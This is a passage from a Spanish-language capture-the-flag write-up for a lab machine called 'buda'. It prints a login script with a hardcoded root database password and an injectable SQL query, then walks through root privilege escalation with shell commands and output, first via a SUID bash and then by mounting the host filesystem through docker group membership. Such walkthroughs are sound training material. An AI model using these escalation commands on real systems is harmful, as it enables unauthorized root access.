cursor.execute("SELECT * FROM users WHERE username = 'nombre_usuario' AND password = 'contraseña'")
# Obtener resultados
results = cursor.fetchall()
# Cerrar conexión
db_connection.close()
Pero esta BD no la vimos cuando dumpeamos las BDs existentes con SQLMAP.
Dentro del directorio xyprob/12356723/
, encontraremos el script del login que encontramos en el subdominio:
-bash-5.1$ cat dev.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$host = 'localhost';
$username = 'root';
$password = 'r@@t123#$!';
$database = 'buda';
// Conexión a la base de datos
$conn = new mysqli($host, $username, $password, $database);
// Verificar la conexión
if ($conn->connect_error) {
die("Error de conexión: " . $conn->connect_error);
}
// Verificar si se ha enviado el formulario
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
// Construir la consulta SQL para seleccionar el usuario y la contraseña encriptada
$query = "SELECT * FROM users WHERE username = '$username'";
// Ejecutar consulta para el usuario
$result = $conn->query($query);
// Verificar si el usuario existe y si la contraseña es correcta
if ($result && $result->num_rows > 0) {
// Obtener la fila del usuario
$row = $result->fetch_assoc();
// Verificar si la contraseña es correcta utilizando password_verify()
if (password_verify($password, $row['hashed_password'])) {
// Contraseña correcta, mostrar mensaje de error
echo "Login failed";
} else {
// Contraseña incorrecta, mostrar mensaje de error
echo "Credenciales incorrectas.";
}
} else {
// Si llegamos aquí, el usuario no existe
echo "Credenciales incorrectas.";
}
}
?>
<html>
<body>
<h2>Login</h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Usuario: <input type="text" name="username"><br>
Contraseña: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
Observa que ahí están las credenciales de acceso para la BD buda.
Ahí vemos varias cosas:
- La consulta toma en cuenta el campo del usuario sin aplicar ningún filtro, siendo aquí donde aplicamos las Inyecciones SQL.
- Se aplica una verificación de usuario que, de no existir dentro de la BD, nos da el error “Credenciales incorrectas.”.
- En caso de que hayamos ingresado las credenciales correctas, nos da el mensaje “Login Failed”.
Veamos qué usuarios existen:
-bash-5.1$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
chaska:x:1000:1000:chaska:/home/chaska:/bin/bash
ftpuser:x:1001:1001:,,,:/home/ftpuser:/bin/bash
yolanda:x:1002:1002:,,,:/home/yolanda:/bin/bash
Aparte de los que ya conocemos, vemos al usuario chaska.
Revisando el directorio /home
, solo tendremos acceso al directorio de nuestro usuario:
-bash-5.1$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Jun 6 2024 .
drwxr-xr-x 20 root root 4096 Apr 30 2024 ..
drwxr-x--- 5 chaska chaska 4096 Jun 7 2024 chaska
dr-xr-x--- 3 ftpuser ftpuser 4096 Jun 7 2024 ftpuser
drwxr-x--- 4 yolanda yolanda 4096 Sep 9 00:46 yolanda
Revisemos si existe algún binario con permisos SUID:
-bash-5.1$ find / -perm -4000 2>/dev/null
/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/core20/2318/usr/bin/chfn
/snap/core20/2318/usr/bin/chsh
/snap/core20/2318/usr/bin/gpasswd
/snap/core20/2318/usr/bin/mount
/snap/core20/2318/usr/bin/newgrp
/snap/core20/2318/usr/bin/passwd
/snap/core20/2318/usr/bin/su
/snap/core20/2318/usr/bin/sudo
/snap/core20/2318/usr/bin/umount
/snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2318/usr/lib/openssh/ssh-keysign
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/passwd
Curiosamente, ahí está la bash con permisos SUID.
Entonces, solo tenemos que ejecutar la Bash con privilegios:
-bash-5.1$ bash -p
bash-5.1# whoami
root
Y somos Root.
Abusando de Grupo Docker para Escalar Privilegios
Digamos que la Bash no tenía permisos SUID.
Veamos si nuestro usuario tiene privilegios:
-bash-5.1$ sudo -l
[sudo] password for yolanda:
Sorry, user yolanda may not run sudo on buda.
No tiene ninguno.
Ahora veamos a qué grupos pertenece este usuario:
-bash-5.1$ id
uid=1002(yolanda) gid=1002(yolanda) groups=1002(yolanda),123(docker)
Estamos en el grupo Docker, entonces es posible que podamos escalar privilegios.
En la guía de GTFOBins encontraremos una forma de crear un contenedor de la raíz de la máquina, al que cualquier cambio que le hagamos, se verá reflejado en la máquina:
Pero necesitaremos tener internet en la máquina víctima o debemos pasarle la imagen de Alpine, para que pueda crear el contenedor de la máquina víctima.
Usaremos este comando:
Antes de aplicarlo, veamos qué permisos tiene la Bash:
-bash-5.1$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Ahora sí, apliquémoslo:
-bash-5.1$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
9824c27679d3: Pull complete
Digest: sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1
Status: Downloaded newer image for alpine:latest
root@4d640ed25840:/#
Démosle permisos SUID a la Bash:
root@4d640ed25840:/# chmod u+s /bin/bash
root@4d640ed25840:/# ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Ya están asignados.
Salgamos del contenedor y revisemos los permisos de la Bash de nuevo:
-bash-5.1$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Ahí están los permisos SUID.
Ejecuta la Bash con privilegios:
-bash-5.1$ bash -p
bash-5.1# whoami
root
Somos Root.
Obtengamos la última flag:
bash-5.1# cd /root
bash-5.1# ls
root.txt snap
bash-5.1# cat root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://www.welivesecurity.com/la-es/2013/03/08/port-knocking-para-reforzar-la-seguridad-de-un-servidor/
- https://github.com/eliemoutran/KnockIt
- https://gtfobins.github.io/gtfobins/docker/